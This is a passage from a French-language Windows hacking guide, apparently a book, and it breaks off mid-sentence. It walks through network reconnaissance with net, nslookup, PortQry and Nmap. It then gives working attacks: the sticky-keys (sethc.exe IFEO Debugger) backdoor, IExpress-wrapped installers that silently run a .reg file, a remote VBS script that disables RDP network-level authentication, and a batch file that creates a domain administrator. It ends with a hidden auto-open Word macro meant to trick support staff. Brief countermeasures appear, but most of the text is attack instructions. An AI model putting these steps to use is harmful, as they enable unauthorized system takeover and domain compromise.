Cliquez ensuite sur le menu à gauche dans le nouvel onglet Développeur sur Sécurité des
macros :
Dans la même fenêtre, dans les Emplacements approuvés, vous trouverez les dossiers où les
fichiers Office peuvent démarrer des macros sans limitations.

Dans le menu Documents approuvés, vous verrez si les documents en réseau peuvent être
approuvés ou non.

Toutes ces informations seront utiles lors d’une future attaque.


Les informations distantes
Les informations distantes concernent les serveurs, les applications et les ressources sur
lesquelles il n’est pas possible de se connecter localement ou qui sont centralisées, par
exemple, les utilisateurs d’un domaine, un serveur de base de données, un contrôleur de
domaine. Ces informations sont très importantes puisqu’elles vont nous permettre de choisir
notre plan d’action suivant les possibilités et les informations que nous aurons. Il sera plus
simple de viser une personne ou une machine en particulier une fois qu’on sait de quoi on
parle.

1. Configuration système
a. Dossiers partagés
Souvent, les dossiers partagés représentent des lettres de lecteurs, si ces lettres sont
accessibles par tous. Il est pertinent pour nous de connaître les chemins partagés où tout le
monde a un accès en lecture, en exécution et éventuellement en écriture, pour pouvoir y
déposer une application, un fichier ou un document piégé, un fichier de commande ou
pourquoi pas, y exfiltrer des données.
Savoir quels droits a une personne sur un dossier partagé n’est pas toujours évident. Il peut y
avoir beaucoup de groupes de sécurité configurés dans un domaine. Beaucoup de ces groupes
peuvent disposer de droits différents.
Ainsi, pour savoir si un utilisateur dispose d’un accès à un dossier, allez sur l’onglet Sécurité
des paramètres du dossier, puis cliquez sur Avancé. Allez ensuite dans l’onglet Accès
effectif. Choisissez l’utilisateur à tester puis cliquez sur Afficher l’accès effectif.

Vous aurez ainsi la liste des droits réels qu’a une personne particulière sur un dossier public.
Vous pourrez comme cela sélectionner au mieux un emplacement où le plus grand nombre
ont les droits suffisants pour se faire piéger.
b. Utilisateurs et groupes
Dans la configuration locale, vous avez peut-être trouvé un nom d’utilisateur du domaine qui
est dans le groupe administrateurs sur votre PC ou peut-être avez-vous déjà un utilisateur
particulier pour cible. Pour obtenir plus d’informations sur lui, comme l’appartenance aux
groupes de sécurité, si son mot de passe expire et bien d’autres informations, écrivez dans une
ligne de commande :
Net user NomUtilisateur /domain
Si vous avez repéré un groupe de sécurité du domaine et souhaitez savoir qui en sont les
membres, écrivez pour le groupe Administrateurs du domaine :
Net localgroup administrateurs /domain
Si le domaine Active Directory a été configuré sur un serveur en anglais comme c’est souvent
le cas, remplacez administrateurs par administrators.
Il est possible que la ligne de commande soit bloquée par l’administrateur du domaine. Dans
ce cas, vous pouvez essayer de faire un script avec un éditeur de texte et de l’enregistrer en
.BAT. Dans certains cas, seule l’ouverture de CMD est bloquée, mais pas l’exécution de
scripts.
Si les scripts sont aussi bloqués, vous pouvez télécharger et utiliser un outil gratuit de
Microsoft, ADExplorer, qui permet de parcourir les objets de l’annuaire d’Active Directory.
Le logiciel ne nécessite pas d’installation, ni des droits administrateurs pour l’utiliser.
Vous le trouverez sur : http://technet.microsoft.com/en-us/sysinternals/bb963907.aspx

Pour le champ Connect to, utilisez l’information LOGONSERVER trouvée grâce à la


commande SET exécutée lors de la recherche des informations locales. Le nom d’utilisateur
et mot de passe sont vos informations normales du domaine. Vous n’avez pas besoin d’être
administrateur du domaine pour parcourir la plupart des objets Active Directory.
Par exemple, pour savoir quel utilisateur est dans le groupe Administrateurs de l’entreprise,
allez dans les propriétés du groupe et regardez l’attribut member :

Notez les membres de tous les groupes importants, comme les groupes des administrateurs ou
encore ceux du support.

2. Configuration réseau
La configuration du réseau de l’entreprise peut être complexe. Il s’agit pour nous de n’en
retirer que ce qui nous intéresse ; nous n’avons par exemple besoin de savoir combien il y a
de switch pour attaquer un serveur. Par contre son IP, son nom et les services qui sont
installés sur cette machine pourraient nous être très utiles.
a. Recherche du nom du serveur qui héberge un service
Nous sommes depuis l’intérieur de l’entreprise avec un compte utilisateur, une adresse e-mail
et pourquoi pas, un compte Lync. Les informations des serveurs DNS ont été trouvées dans la
configuration IP locale. Le nom d’un serveur Active Directory a été trouvé dans la
configuration locale grâce à la commande SET.
Pour trouver le serveur Exchange, il suffit de regarder les paramètres Outlook. Pour cela, allez
dans Fichier - Paramètres du compte - Paramètres du compte, puis cliquez sur votre
compte de messagerie. Le nom du serveur est dans la première ligne. Pour trouver la
configuration d’un serveur Lync, cliquez avec le bouton droit de la souris sur l’icône réduite
du produit et en appuyant simultanément sur [Ctrl]. De nombreux attributs vous donneront les
noms des serveurs Front-end, Edge, etc.
Si vous n’avez pas de compte mail ou Lync, vous pourrez trouver le nom de ces serveurs,
pour peu que vous déteniez au moins l’adresse d’un serveur DNS interne.
Pour trouver le reste les IP des serveurs à partir de l’IP d’un serveur DNS, ouvrez une ligne
de commande et tapez NSlookup.
Configurez NSlookup pour utiliser le serveur DNS pour répondre à vos demandes.
Server 10.0.0.100
Recherchez des enregistrements de type SRV (Services) :
Set Type=SRV
Pour trouver le nom des serveurs LDAP (Active Directory) :
_ldap._tcp.domain.local
Pour trouver le nom des serveurs de catalogue global :
_gc_tcp.domain.local
Pour trouver le nom des serveurs Lync :
_sipinternaltls._tcp.domain.local
Pour trouver le nom des serveurs Exchange :
_autodiscover._tcp.domain.local
Ou, suivant la configuration :
Autodiscover.domain.local
Ces informations sont à noter avec celles déjà récupérées.
b. Recherche de services avec PortQry de Microsoft
Microsoft propose un outil pour scanner les ports ouverts sur une machine. Mais cet outil
permet d’aller plus loin qu’un simple analyseur de port ne le permet : il va se connecter aux
services pour y rechercher encore plus de détails.
Vous le trouverez ici : http://www.microsoft.com/en-us/download/details.aspx?id=24009
Il est utilisable en ligne de commande, comme ici lors d’une analyse d’un serveur SQL :
portqry - n 10.0.0.200 -e - p 1434 udp
Querying target system called:

10.0.0.200
querying...

UDP port 1434 (ms-sql-m service): LISTENING or FILTERED

Sending SQL Server query to UDP port 1434...

Server’s response:

ServerName SQL-Server1
InstanceName MSSQLSERVER
IsClustered No
Version 8.00.194
tcp 1433
np \\SQL-Server1\pipe\sql\query

==== End of SQL Server query response ====


UDP port 1434 is LISTENING
Le port est ouvert, le service nous retourne le nom de l’instance démarrée.
Pour simplifier l’utilisation de cet outil, Microsoft a ajouté une interface graphique. Nous
voyons ici l’utilisation pour l’analyse d’un contrôleur de domaine :
Ce logiciel est pratique pour analyser des serveurs comme des contrôleurs de domaine, des
serveurs Exchange, des serveurs SQL ou encore des services web.
c. Recherche de services avec Nmap
Pour savoir quels autres services réseau tournent sur un serveur ou un PC que ceux déjà
trouvés, nous allons utiliser un scanneur en ligne de commande qui s’installe facilement sur
une machine Windows. Nmap est connu comme un des outils de prédilection des pirates pour
analyser un réseau et plus spécifiquement une machine. Il permet le scan de tout un réseau
ainsi que la prise d’empreintes, ce qui veut dire qu’il nous dira si un port est ouvert ou non,
mais aussi dans certains cas, il nous donnera le service attaché au port et sa version.
Vous pouvez le télécharger ici : http://nmap.org/download.html
Le logiciel s’utilise principalement en ligne de commande, mais il existe aussi une interface
graphique téléchargée et installée directement avec le package d’installation pour Windows.
Pour scanner un réseau complet à la recherche des machines allumées, puis enregistrer le
résultat dans un fichier :
C:\>nmap -sP 192.168.1.0/24 -oN c:\temp\log.txt

Starting Nmap 6.25 ( http://nmap.org ) at 2013-05-26 20:59 Europe


de lÆOuest (heure dÆÚtÚ)
Nmap scan report for 192.168.1.1
Host is up (0.00s latency).
MAC Address: E0:A1:D7:D2:CF:AC
Nmap scan report for 192.168.1.36
Host is up.
Nmap scan report for 192.168.1.46
Host is up (0.016s latency).
MAC Address: 00:19:99:34:B6:6D (Fujitsu Technology Solutions)
Nmap scan report for 192.168.1.79
Host is up (0.093s latency).
MAC Address: 18:20:32:D1:AE:7C (Apple)
Nmap scan report for C610-IP (192.168.1.94)
Host is up (0.00s latency).
Pour analyser une machine en particulier :
C:\>nmap -Pn -A -sT 192.168.1.150

Starting Nmap 6.25 ( http://nmap.org ) at 2013-05-26 21:14 Europe


de lÆOuest (heure dÆÚtÚ)
Nmap scan report for 192.168.1.150
Host is up (0.000075s latency).
Not shown: 991 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 8.0
| http-methods: Potentially risky methods: TRACE
|_See http://nmap.org/nsedoc/scripts/http-methods.html
|_http-title: Microsoft Internet Information Services 8
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn
445/tcp open netbios-ssn
2179/tcp open vmrdp?
3389/tcp open ms-wbt-server Microsoft Terminal Service
49154/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
MAC Address: 6C:62:6D:00:67:33 (Micro-Star INT’L CO.)
Warning: OSScan results may be unreliable because we could not find
at least 1 open and 1 closed port
Device type: general purpose|phone
Running (JUST GUESSING): Microsoft Windows 7|Phone|Vista|2008 (95%)
Le programme dans sa version graphique s’utilise encore plus facilement et vous évitera de
connaître les paramètres de Nmap par cœur :

Le logiciel nous donne des informations intéressantes sur la machine cible. Vous avez
maintenant toutes les cartes en main pour commencer un plan d’attaque. Il ne vous reste plus
maintenant qu’à étudier les différentes attaques possibles sur ces systèmes.
Utiliser un média d’installation Windows
officiel ou une image de boot PXE
Ce chapitre a pour but de vous décrire des techniques de piratage, en utilisant au maximum les
outils intégrés à Windows ou à la suite Office. Elles vous permettront de devenir
administrateur de votre PC ou plus. Certaines ne fonctionneront pas toujours puisque
l’efficacité dépendra des moyens déjà mis en œuvre par le service informatique pour protéger
les systèmes, ainsi que, dans certains cas, de votre capacité à faire exécuter un objet piégé à
une personne.

1. Boot sur le système


Nous allons commencer par accéder à un ordinateur ou à un serveur sur lequel nous n’aurions
aucun droit de nous authentifier.
Exemple
Si vous avez perdu le mot de passe de votre seul compte utilisateur sur votre PC privé.
Cette technique est très puissante puisqu’elle permet aussi de changer un mot de passe sur
n’importe quel PC, serveur ou même un contrôleur de domaine. Nous verrons donc aussi
comment changer le mot de passe de l’administrateur de domaine. Elle nécessite néanmoins
un accès physique à la machine cible et permet un accès complet avec les droits système sur
les versions suivantes :
 Windows Vista
 Windows 7
 Windows 8 Pro
 Windows Server 2008/2008 R2
 Windows Server 2012
Nous allons réussir cela en modifiant le registre offline de la cible. Pour ce faire, nous allons
démarrer notre ordinateur en insérant un DVD original de Windows d’une des éditions
précitées (ou choisissez de démarrer sur le réseau en PXE si votre entreprise déploie Windows
avec WDS - Windows Deployment Service).

Le DVD d’installation de Windows peut être porté sur une clé USB si nécessaire, vous
trouverez les informations utiles pour cela sur Internet.
Choisissez la langue de votre clavier puis cliquez sur Suivant.

À l’étape suivante, appuyez simultanément sur [Shift][F10]. Une fenêtre apparaît à l’écran.
Écrivez Regedit.exe pour démarrer l’éditeur du registre.
2. Modification du registre offline
L’éditeur du registre va nous permettre de modifier le fonctionnement normal d’un
exécutable ; nous le remplacerons par l’exécution de la ligne de commande. Seul un certain
nombre d’applications sont exécutables lors d’une ouverture de session normale. La fonction
des touches rémanentes, le clavier virtuel et plus globalement les applications de gestion
d’ergonomie le sont. Dans notre exemple, nous allons remplacer le fonctionnement des
touches rémanentes de l’ordinateur cible par l’exécution de la ligne de commande.

L’exécution normale des touches rémanentes s’effectue en appuyant par répétition rapide sur
la touche [Shift] (5 x [Shift]).

Revenons à l’éditeur du registre, cliquez sur HKEY_LOCAL_MACHINE.


Allez dans le menu Fichier - Charger la ruche. Il sera important à la fin de la modification
de la décharger, sinon les changements ne seront pas pris en compte.

Le fichier de registre à charger se situe sur le disque D sauf dans le cas d’une machine ayant
un double boot.
Description des disques
C: est un disque système utilisé par la machine cible pour booter, il est caché lors d’un
démarrage normal de la machine cible.
D: est généralement le disque du système d’exploitation cible (le disque C lors d’un
démarrage normal).
E: est un éventuel disque de données ou un deuxième disque système en cas de double boot.
X: est le disque utilisé par Windows PE pour démarrer Windows PE. Il ne sert à rien d’y
changer des paramètres : rien ne sera conservé.

Le fichier de registre qui nous intéresse est SOFTWARE.


Parcourez le système jusqu’au fichier suivant :
D:\Windows\System32\config\Software
Donnez à votre importation le nom Soft.

Naviguez dans le fichier importé :


Key_Local_Machine\Soft\Microsoft\Windows NT\Current Version\Image
File Execution Options\
Ajoutez une clé de registre dessous se nommant Sethc.exe, ajoutez une valeur de type chaîne
« String » avec le nom Debugger. Donnez ensuite à cette nouvelle entrée la valeur cmd.exe.
Le résultat est affiché sur l’image suivante.
Une fois cette modification apportée, il est important de décharger la ruche Soft correctement
pour que les modifications soient prises en compte lors du redémarrage du système.
Pour cela :
Naviguez et réduisez toutes les clés, jusqu’à la clé racine Soft qui doit être sélectionnée
comme sur l’image suivante :

Dans le menu Fichier, cliquez sur Décharger la ruche.

3. Utilisation du hack sur différents systèmes


Vous pouvez maintenant fermer l’éditeur du registre et redémarrer normalement votre PC.
Nous avons remplacé le fonctionnement normal des touches rémanentes par le démarrage de
la ligne de commande. Le résultat est maintenant à tester, une fois la machine redémarrée.
Appuyez cinq fois de suite sur la touche [Shift].

Il est maintenant possible de démarrer des applications, mais certaines, comme le panneau de
configuration, qui a besoin du bureau de Windows, ne fonctionneront pas. Nous allons donc
exécuter la console MMC qui nous permettra de gérer les utilisateurs, changer un mot de
passe, ajouter un nouvel utilisateur ou ajouter un utilisateur existant dans le groupe
administrateur local.

À ce stade, il est possible de gérer toute la machine et ses fichiers sans s’authentifier.
Tapez mmc.exe dans la console, puis dans Fichier - Ajouter/supprimer un logiciel
enfichable, cliquez sur Utilisateurs et groupes locaux puis sur le bouton Ajouter et sur OK.
Cet exemple montre la modification d’un compte utilisateur sur Windows 7 :
Il est possible de faire de même sur les autres systèmes précités, comme sur l’exemple suivant
qui démontre cette technique sur Windows Server 2012.
Si nous appliquons cette technique sur un DC (contrôleur de domaine), nous verrons que la
console Utilisateurs et ordinateurs Active Directory est présente dans MMC, mais pas
seulement. Il est possible de modifier, ajouter, supprimer tous les objets Active Directory,
DNS (Domaine Name System), de demander un certificat, de modifier la configuration de
tout service, d’ajouter ou d’enlever un rôle, d’utiliser PowerShell, de modifier les stratégies de
groupe, etc.
On voit ci-après la console de gestion des utilisateurs et ordinateurs Active Directory.

On voit sur cette image la gestion du DNS, des certificats, des stratégies de groupe, le tout,
sans être authentifié sur le DC :
4. Contre-mesures
Pour empêcher un système d’être modifié offline, vous pouvez activer Syskey et/ou
configurer BitLocker. Pour empêcher ou réduire le risque de modification sur un contrôleur
de domaine dans une filiale, vous pouvez installer un RODC (Read Only Domain Controller)
à la place d’un contrôleur de domaine complet.

Piéger une application avec les outils


intégrés à Windows
Comme vous avez pu le constater avec la technique précédente, il est nécessaire de démarrer
avec un média sur la machine cible. Cela n’est toutefois pas toujours possible dans le cadre
d’un PC d’entreprise. Nous allons donc voir comment obtenir des droits administrateurs,
système ou administrateurs du domaine. Il s’agit là d’une attaque en deux parties : une partie
technique et un défi humain.
Dans la partie technique, nous allons cacher une ligne de commande, une clé de registre, un
script ou un autre exécutable dans un programme légitime, qui n’attirera pas la méfiance
d’une personne du département informatique.
Le défi humain consiste à faire exécuter une application modifiée à une personne cible, la
cible ayant éventuellement des droits supérieurs aux nôtres si cela est nécessaire.
Nous prendrons dans notre exemple 7zip et y ajouterons une clé de registre pour obtenir les
droits système sur la machine locale. Nous avons choisi 7zip, mais cela aurait pu être
n’importe quel exécutable comme une mise à jour d’Adobe, un pilote d’imprimante, un
logiciel de gravure, une application professionnelle, un écran de veille, un codec de lecture
vidéo, etc.

1. Prendre le rôle système sur sa machine ou son serveur


Nous utiliserons la clé de registre vue dans le chapitre précédent pour notre premier exemple.
Nous pourrons ensuite démarrer la ligne de commande avec les droits système sur un
ordinateur verrouillé.
Nous allons commencer par créer un fichier de registre. Créez un fichier avec le Bloc-notes
appelé modif.reg, ajoutez le texte suivant, puis enregistrez.
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\
CurrentVersion\Image File Execution Options\sethc.exe]
"debugger"="cmd.exe"
Nous allons maintenant réaliser la manipulation technique, qui consiste à installer une clé de
registre pirate puis à exécuter notre programme légitime.

Ce type de manipulations, appelé Wrapper, est utilisé régulièrement par les pirates pour piéger
des pilotes, des jeux, des applications piratées, des générateurs de clés de licence, que vous
téléchargez couramment sur Internet.
L’utilitaire intégré de packaging Iexpress.exe va nous permettre de réaliser cela. L’outil
accompagne Windows depuis la version 2000.
Créez un raccourci sur le bureau pour Iexpess.exe.

Changez le dossier d’exécution Démarrer dans de votre raccourci pour y mettre l’un de
ceux pour lesquels vous avez des droits d’écriture.

Exécutez Iexpress.exe depuis votre raccourci et utilisez les paramètres par défaut.
Choisissez d’extraire et d’exécuter des commandes.

Donnez un nom à votre package d’installation.

Laissez la configuration par défaut, jusqu’à l’étape d’ajout des fichiers.


Ajoutez le fichier MSI d’installation de 7Zip et le fichier modif.reg que nous avons créé
précédemment.

Les fichiers ajoutés peuvent être de toute sorte, comme un fichier exe, msi, reg, bat, vbs, ps1,
txt, zip, jpg, pdf, etc. Il est intéressant pour nous d’y mettre des fichiers qui peuvent se lancer
directement ou via une commande.
Dans notre premier exemple, nous avons ajouté un fichier MSI et un fichier REG. Nous allons
maintenant configurer IExpress pour exécuter d’abord le fichier de registre puis l’installation
de 7Zip.

Dans le champ Install Program, écrivez :


Regedit.exe /s modif.reg
Dans le champ Post Install Command, écrivez :
Msiexec /i 7z920x64.msi
Nous configurons les fonctions Install Program et Post Install Command d’Iexpress d’une
manière non conventionnelle. Par défaut, l’utilitaire demande un exécutable, mais il est
possible d’y mettre une commande pour exécuter un fichier bat, un script ou tout élément qui
demanderait des paramètres.

Il est important de donner le programme qui va permettre d’exécuter un fichier bat, script ou
msi, ou une clé de registre.
Pour un EXE, il n’y a rien à ajouter :
notepad.exe
Pour un fichier REG, il faut faire précéder le nom du fichier de regedit.exe /s :
Regedit.exe /s FICHIER.REG
Le paramètre /s indique un mode silencieux.
Pour un fichier MSI, il faut faire précéder le nom du fichier de msiexec.exe /i :
Msiexec.exe /i FICHIER.MSI
Le paramètre /i indique une installation.
Pour un fichier BAT, il faut faire précéder le nom du fichier de cmd.exe /c :
Cmd.exe /c FICHIER.BAT
Le paramètre /c de cmd indique que la ligne de commande s’exécute puis se referme. /k
indique que la ligne de commande s’exécute et reste ouverte.
Pour un fichier VBS, il faut faire précéder le nom du fichier de wscript :
Wscript.exe FICHIER.VBS
Pour un fichier PS1, il faut faire précéder le nom du fichier de powershell :
Powershell.exe FICHIER.PS1
Continuez avec les paramètres par défaut puis enregistrez votre application en cochant les
deux options.
La première option cache l’extraction des fichiers et la deuxième permet d’avoir le nom
complet des fichiers lors de l’extraction. Sans cette dernière option, vous aurez des problèmes
d’exécution car Windows ne trouvera pas le chemin de vos fichiers.
Continuez avec les paramètres par défaut jusqu’à la compilation.

Maintenant, avant de demander à un administrateur ou au support d’exécuter notre création, il


faut configurer notre programme. Il faut être certain que l’application demande l’élévation de
privilège lors de son lancement sinon le script n’aura pas d’impact.
Cette étape est nécessaire uniquement si nous souhaitons faire exécuter une application pirate
à un administrateur. L’approche Wrapper peut être utilisée pour transformer l’installateur
d’un écran de veille en logiciel de contrôle installable par un utilisateur n’ayant aucun droit
administrateur. Nous verrons dans les chapitres suivants qu’un simple utilisateur a
suffisamment de droits pour compromettre ses informations et son mot de passe.
Pour cela, cliquez avec le bouton droit de la souris sur votre fichier nouvellement créé,
choisissez Propriétés, puis cliquez sur l’onglet Comptabilité. Cochez l’option Exécuter ce
programme en tant qu’administrateur.

Il est grand temps de tester notre application.


La seule chose que verra la personne qui exécutera notre installateur, c’est 7zip, et pourtant le
registre aura été modifié.

Nous pouvons maintenant nous amuser avec les droits système de la machine.
Verrouillez votre machine en appuyant simultanément sur les touches [Windows] L.
Une fois l’ordinateur verrouillé, appuyez cinq fois rapidement sur la touche [Shift].
La ligne de commande s’ouvre et vous donne accès à l’exécution de nombreux programmes.

2. Prendre le rôle système sur un serveur distant ou un contrôleur de


domaine
Dans la mesure où une personne du support vous installe une application avec un compte
ayant des droits administrateurs locaux, elle utilise souvent un compte ayant le même nom et
mot de passe pour tous les PC voire pour les serveurs. Elle est même souvent administrateur
du domaine au moment de l’installation de votre programme. Si c’est le cas, au lieu de
modifier seulement notre PC, nous pourrions obliger notre victime à nous donner des droits
sur un DC ou sur un serveur quelconque.
Nous allons toutefois être confrontés à trois problèmes. Le premier, c’est qu’il faut éditer le
registre distant pour nous permettre de remplacer le fonctionnement des touches rémanentes.
Le deuxième, c’est que nous ne sommes pas sûrs que le service de bureau à distance soit actif
sur le serveur distant. Le troisième, c’est que par défaut, un serveur RDP depuis Windows
Vista/Server 2008 ne nous autorise plus à nous connecter directement sur le bureau, mais nous
oblige à fournir un compte valide avant d’arriver sur celui-ci. Nous allons régler ces trois
problèmes avec un fichier VBS (Visual Basic Script) qui modifia le registre et qui appliquera
une stratégie de groupe pour obliger le serveur RDP à être actif et à se considérer comme une
version plus ancienne.
Nous allons « wrapper » 7zip comme déjà décrit et cette fois-ci, nous allons y exécuter un
VBS.
Ouvrez le Bloc-notes et écrivez le code suivant, en remplaçant Machine_cible par le nom de
la machine distante que vous souhaitez contrôler.
Dim Ordinateur, objReg, Chemin, NomCle, Valeur
HKEY_LOCAL_MACHINE = &H80000002
Ordinateur = "Machine_cible"
Set objReg = GetObject("winmgmts:\\" & Ordinateur &
"\root\default:StdRegProv")
Chemin = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File
Execution Options\sethc.exe"
objReg.CreateKey HKEY_LOCAL_MACHINE, chemin
NomCle = "Debugger"
Valeur = "cmd.exe"
objReg.SetSTRINGValue HKEY_LOCAL_MACHINE, Chemin, NomCle, Valeur

chemin2 = "SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services"


objReg.CreateKey HKEY_LOCAL_MACHINE, chemin2
Nomcle2 = "UserAuthentication"
Valeur2 = 0
objReg.SetDWORDValue HKEY_LOCAL_MACHINE, Chemin2, NomCle2, Valeur2
Nomcle3="SecurityLayer"
Valeur3 = 0
objReg.SetDWORDValue HKEY_LOCAL_MACHINE, Chemin2, NomCle3, Valeur3

chemin4 = "SYSTEM\CurrentControlSet\Control\Terminal Server"


objReg.CreateKey HKEY_LOCAL_MACHINE, chemin4
Nomcle4 = "fDenyTSConnections"
Valeur4 = 0
objReg.SetDWORDValue HKEY_LOCAL_MACHINE, Chemin4, NomCle4, Valeur4
Ce fichier est téléchargeable sur notre site web.
La première clé de registre modifiée (chemin et valeur) est une clé déjà vue dans les autres
exemples. Elle remplace à distance le fonctionnement normal de l’application des touches
rémanentes.
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution
Options\sethc.exe
Debugger= cmd.exe
La partie du script utilisant chemin2, valeur2 et valeur3 active une stratégie de groupe sur la
machine distante, l’obligeant à utiliser une version sans NLA (Network Layer Authentication)
pour l’authentification des sessions RDP, ce qui nous permettra d’atterrir directement sur le
bureau distant.
SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services
UserAuthentication = 0
SecurityLayer = 0
La dernière clé modifiée utilisant chemin4 et valeur4, active le service RDP sur la machine
distante.
SYSTEM\CurrentControlSet\Control\Terminal Server
fDenyTSConnections=0
Retournons à notre application piégée. Le déroulement est très semblable à la création
précédente à l’exception de la phase d’ajout des fichiers et de la phase suivante.
Lors de l’ajout de fichiers, ajoutez le script VBS ainsi que le fichier d’installation de 7zip.
Dans la phase suivante, la phase de configuration du démarrage, écrivez :
Install : Wscript remote.vbs
Post install: Msiexec /i 7z920x64.msi
Compilez votre application puis configurez-la pour qu’elle s’exécute avec des privilèges
élevés en modifiant les propriétés de celles-ci (bouton droit de la souris sur l’application puis
sur l’onglet Compatibilité).
Faites exécuter l’application par votre administrateur ou par le support.
Si le serveur ou la machine distante a bien été modifié, vous pourrez maintenant tester la
connexion.
Démarrez l’outil MSTSC.exe et indiquez l’adresse de votre cible.
Le serveur distant sera reconnu comme une version antérieure du service RDP. Vous n’aurez
pas à fournir un nom d’utilisateur et mot de passe avant d’arriver sur le bureau distant.
Validez simplement le message en cliquant sur Oui.

Résultat : nous pourrons, pendant la demande du nom d’utilisateur et du mot de passe,


exécuter la ligne de commande en appuyant cinq fois sur [Shift].

3. Devenir administrateur du domaine


Nous allons reproduire le même principe pour piéger une nouvelle application pour installer
GIMP et créer un compte administrateur du domaine. Nous allons d’abord créer un fichier
install.bat pour l’ajout d’un utilisateur à Active Directory et l’ajout de ce nouvel utilisateur au
groupe des administrateurs.
Net User permet d’ajouter ou de supprimer un utilisateur, de changer un mot de passe et de
réaliser bien d’autres fonctions. Couplées avec /DOMAIN, les commandes s’exécutent non
plus localement, mais sur le contrôleur de domaine.
Créez un fichier qui se nomme Install.bat avec le contenu suivant :
Net user admin P@ssw0rd /add /domain
Net group administrateurs admin /add /domain
Ce script ajoutera l’utilisateur Admin au domaine, puis l’ajoutera au groupe administrateurs.
Exécutez Iexpress et configurez-le comme pour l’exemple précédent, sauf pour l’étape de
choix des fichiers et l’étape d’après.
Ajoutez les fichiers gimp_setup.exe et votre fichier install.bat.

Configurez les paramètres d’installation comme dans l’image ci-dessous :


Une fois la compilation effectuée, configurez l’onglet Compatibilité pour que l’application
s’exécute avec des privilèges élevés.

Pour que le script fonctionne, vous devez être certain qu’il soit lancé par une personne qui a
les droits administrateurs du domaine. Vous pouvez consulter le chapitre Quelles informations
rechercher et comment les trouver ? si vous ne savez pas comment vous y prendre. Vous
découvrirez dans les chapitres suivants des techniques qui visent des personnes ayant peu de
droits, et qui modifient des parties du système éditables par tous.

4. Contre-mesures
Pour empêcher ce type d’attaque, vous pouvez bloquer l’utilisation de la ligne de commande,
de PowerShell, de Iexpress.exe et n’autoriser que les applications signées à s’exécuter sur les
postes clients grâce aux stratégies de groupe et aux restrictions logicielles. Nous vous
conseillons aussi de mettre en place un processus de gestion de test et de validation des
applications avant le déploiement global de celles-ci. Les comptes utilisateurs des personnes
du support informatique exécutant l’installation de logiciels ne doivent pas être
administrateurs du domaine ni administrateurs de serveur, ils doivent juste être
administrateurs des machines. Il est possible d’arriver à ce résultat en utilisant les comptes
restreints à l’aide des stratégies de groupe. Les utilisateurs ne doivent pas être administrateurs
de leur machine.

Piéger un document Office


1. Faire exécuter un script ou une application
Parmi les outils de la suite Microsoft Office, on retrouve les scripts VBA (Visual Basic for
Applications). Depuis la version d’Office 2003, Microsoft a défini un niveau de sécurité haut
pour les macros. Cela devrait protéger de ce type d’attaques (voir le chapitre Recherche
d’informations). Toutefois, nombre d’entreprises ont besoin d’utiliser les macros sous Excel
et se permettent donc de réduire la sécurité au minimum.
Depuis Office 2007, Microsoft a introduit un nouveau format docm pour les fichiers
comportant des macros. Pour rester discrets dans notre attaque, nous favoriserons l’ancien
format qui fonctionne encore très bien et qui a l’avantage de fonctionner sur toutes les
versions d’Office de 2000 à 2013.
Nous allons transformer un fichier Word classique en un outil pour ajouter avec Office 2013,
sans être détecté, un administrateur au domaine. Nous allons pour cela démarrer une ligne de
commande lors de l’ouverture de notre fichier.

Un document Office qui exécute une macro sans réserve est encore plus dangereux qu’une
application, parce qu’il est plus discret. Une macro VBA permet de gérer des fichiers, le
Registre et Active Directory, de se connecter au réseau, sur Internet, etc.
Ouvrez Microsoft Word et cliquez sur Fichier - Options. Dans l’onglet Personnaliser le
ruban, cochez dans la colonne de droite l’onglet Développeur puis cliquez sur OK.

Une fois revenu sur votre document, cliquez sur l’onglet Développeur puis sur Visual Basic.
Naviguez jusqu’à Project (nom du document) puis cliquez sur ThisDocument.

Dans la partie du document où il est possible d’écrire du code, cliquez sur les deux listes
déroulantes afin d’obtenir Document à gauche et Open à droite comme dans l’image
précédente.

C’est cette partie de code qui va s’exécuter lors de l’ouverture d’un document Office. Il est
bien sûr possible d’y écrire des scripts très complexes pour faire faire ce que l’on veut à la
victime, comme télécharger un logiciel, copier des fichiers, changer son mot de passe, etc.
Notre but est de lancer un script qui créera un utilisateur dans le domaine et qui donnera à ce
compte les droits administrateurs du domaine. Nous allons pour cela exécuter une commande
grâce à la fonction Shell de VBA.
Ajoutez le code suivant :

La fonction Shell prend deux paramètres. Le premier est le chemin de l’exécutable et ses
arguments, cmd /c dans notre cas. Suit le mode d’affichage de l’application. Pour notre
exemple, nous utilisons comme deuxième paramètre VbHide, qui cache le programme à
l’utilisateur lors de son exécution.
Enregistrez, le fichier est prêt à être ouvert par la victime.

2. Contourner la sécurité des macros


La sécurité d’Office ne se réduit pas seulement à la sécurité des macros. Depuis Office 2010,
Microsoft a ajouté une fonction de sécurité qui protège les utilisateurs. Les fichiers s’ouvrent
maintenant par défaut en lecture seule. Il faut explicitement activer la modification. Nous
allons prendre l’exemple d’Office 2013 et décrire le comportement de cette nouvelle
fonctionnalité.
 Un utilisateur ouvre un fichier sur son poste de travail et le fichier s’ouvre en lecture
uniquement. Il faut activer la modification. Les macros doivent en plus être activées.
 Un utilisateur ouvre un fichier sur le réseau, et le fichier s’ouvre en lecture
uniquement. Il faut activer la modification. Les macros doivent en plus être activées.
 Un utilisateur ouvre un fichier sur son poste de travail ou en réseau, qu’il a déjà
modifié une fois. Le fichier s’ouvre directement en modification, mais la macro ne
s’exécute pas.
 Un utilisateur ouvre un fichier sur son poste de travail, il active la modification et les
macros. Le fichier sera approuvé. S’il rouvre le fichier, le fichier sera en modification
et les macros seront actives.
 Un utilisateur ouvre un fichier sur le réseau qu’il a déjà modifié une fois et il a déjà
exécuté les macros du fichier. Le fichier s’ouvre directement en modification et les
macros s’exécutent. Il faut avoir accepté une première fois l’exécution des macros.
 Un utilisateur ouvre un fichier sur son poste de travail dans une zone de confiance. Le
fichier s’ouvre en modification et les macros s’exécutent, sans demander l’avis de
l’utilisateur.
 Un utilisateur ouvre un fichier sur le réseau dans une zone de confiance, sur un
système où Office a été configuré pour autoriser des chemins réseau comme étant
dignes de confiance. Le fichier s’ouvre en modification et les macros s’exécutent sans
